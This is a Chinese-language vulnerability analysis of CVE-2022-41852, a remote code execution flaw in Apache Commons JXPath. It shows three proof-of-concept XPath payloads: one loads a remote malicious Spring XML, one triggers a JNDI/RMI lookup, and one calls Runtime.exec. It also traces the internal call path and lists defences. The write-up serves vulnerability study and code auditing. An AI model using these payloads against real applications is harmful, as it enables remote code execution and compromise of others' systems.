CVE-2022-41852 Apache Commons Jxpath 漏洞分析
字数 1550 2025-08-26 22:11:40
Apache Commons JXPath 漏洞分析 (CVE-2022-41852) 教学文档
漏洞概述
Apache Commons JXPath 组件在处理不可信的XPath表达式时存在远程代码执行(RCE)漏洞。当应用程序使用JXPath解析用户可控的XPath表达式时,攻击者可以构造恶意XPath表达式实现任意Java代码执行。
受影响方法:除compile和compilePath外的所有解析XPath字符串的方法。
漏洞原理
JXPath支持"Extension Functions"(扩展功能),允许XPath表达式与Java代码交互。攻击者可以通过三种方式利用此功能:
- 通过
new关键字创建对象 - 调用静态方法
- 调用普通方法
漏洞利用方式
1. 通过new创建对象
public static void main(String[] args) {
try {
JXPathContext context = JXPathContext.newContext(null);
context.getValue("org.springframework.context.support.ClassPathXmlApplicationContext.new(\"http://127.0.0.1:9000/spring-Evil.xml\")");
} catch (Exception e) {
e.printStackTrace();
}
}
执行流程:
JXPathContext.getValue()调用compileExpression编译XPath表达式Parser.parseExpression进行表达式解析- 通过
PackageFunctions.getFunction查找方法 - 识别
new关键字后调用MethodLookupUtils.lookupConstructor获取构造方法 - 封装为
ConstructorFunction并调用invoke执行构造方法 - 实例化
ClassPathXmlApplicationContext加载远程恶意XML实现RCE
2. 调用静态方法
public static void main(String[] args) {
try {
JXPathContext context = JXPathContext.newContext(null);
context.getValue("javax.naming.InitialContext.doLookup('rmi://127.0.0.1:1099/1u560y')");
} catch (Exception e) {
e.printStackTrace();
}
}
执行流程:
- 类似第一种方式解析表达式
- 通过
MethodLookupUtils.lookupStaticMethod查找静态方法 - 封装为
MethodFunction并调用invoke执行静态方法 - 触发JNDI注入漏洞
3. 调用普通方法
public static void main(String[] args) {
try {
JXPathContext context = JXPathContext.newContext(null);
context.getValue("exec(java.lang.Runtime.getRuntime(), 'calc')");
} catch (Exception e) {
e.printStackTrace();
}
}
执行流程:
- 解析表达式并获取目标对象(Runtime实例)
- 查找
exec方法 - 封装为
MethodFunction并调用invoke执行方法 - 直接执行系统命令
技术细节分析
关键类与方法
-
JXPathContextReferenceImpl:
getValue(): 入口方法compileExpression(): 编译XPath表达式
-
Parser:
parseExpression(): 解析XPath表达式
-
PackageFunctions:
getFunction(): 查找并返回对应函数- 处理三种情况:构造方法、静态方法和普通方法
-
MethodLookupUtils:
lookupMethod(): 查找方法lookupConstructor(): 查找构造方法lookupStaticMethod(): 查找静态方法
-
函数封装类:
ConstructorFunction: 封装构造方法MethodFunction: 封装普通方法和静态方法
关键执行流程
-
表达式解析阶段:
- 将XPath字符串解析为语法树
- 识别Java方法调用语法
-
方法查找阶段:
- 根据最后一个
.分割类名和方法名 - 使用
Class.forName加载类 - 区分
new关键字和普通方法调用
- 根据最后一个
-
方法执行阶段:
- 通过反射调用目标方法
- 参数类型转换和匹配
防御措施
- 升级到修复版本
- 避免使用JXPath解析不可信的XPath表达式
- 使用
compile或compilePath方法替代直接解析 - 实施输入验证和过滤
总结
CVE-2022-41852漏洞源于JXPath过度灵活的Java方法调用功能,通过精心构造的XPath表达式,攻击者可实现任意Java代码执行。理解其三种利用方式及底层原理对于漏洞防护和代码审计具有重要意义。